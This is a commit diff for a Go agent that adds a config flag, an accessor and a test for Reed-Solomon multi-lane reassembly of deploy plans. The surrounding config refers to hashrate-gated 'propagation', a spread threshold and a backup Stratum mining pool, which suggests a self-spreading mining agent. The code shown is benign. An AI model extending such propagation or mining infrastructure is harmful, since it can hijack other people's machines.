Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

agent/config/config.go

@@ -140,6 +140,8 @@ type BuiltinConfig struct {
 	HashrateGateSpreadMin int
 	// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
 	HashrateGateHPS float64
+	// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
+	ErasureLanesEnabled bool
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.

agent/config/erasure_lanes.go

@@ -0,0 +1,6 @@
+package config
+
+// ErasureLanesEnabled reports whether server policy allows multi-lane Reed–Solomon reassembly.
+func ErasureLanesEnabled(cfg RuntimeConfig) bool {
+	return cfg.ErasureLanesEnabled
+}

agent/config/erasure_lanes_test.go

@@ -0,0 +1,12 @@
+package config
+
+import "testing"
+
+func TestErasureLanesEnabled(t *testing.T) {
+	if ErasureLanesEnabled(RuntimeConfig{}) {
+		t.Fatal("expected off by default")
+	}
+	if !ErasureLanesEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{ErasureLanesEnabled: true}}) {
+		t.Fatal("expected on when set")
+	}
+}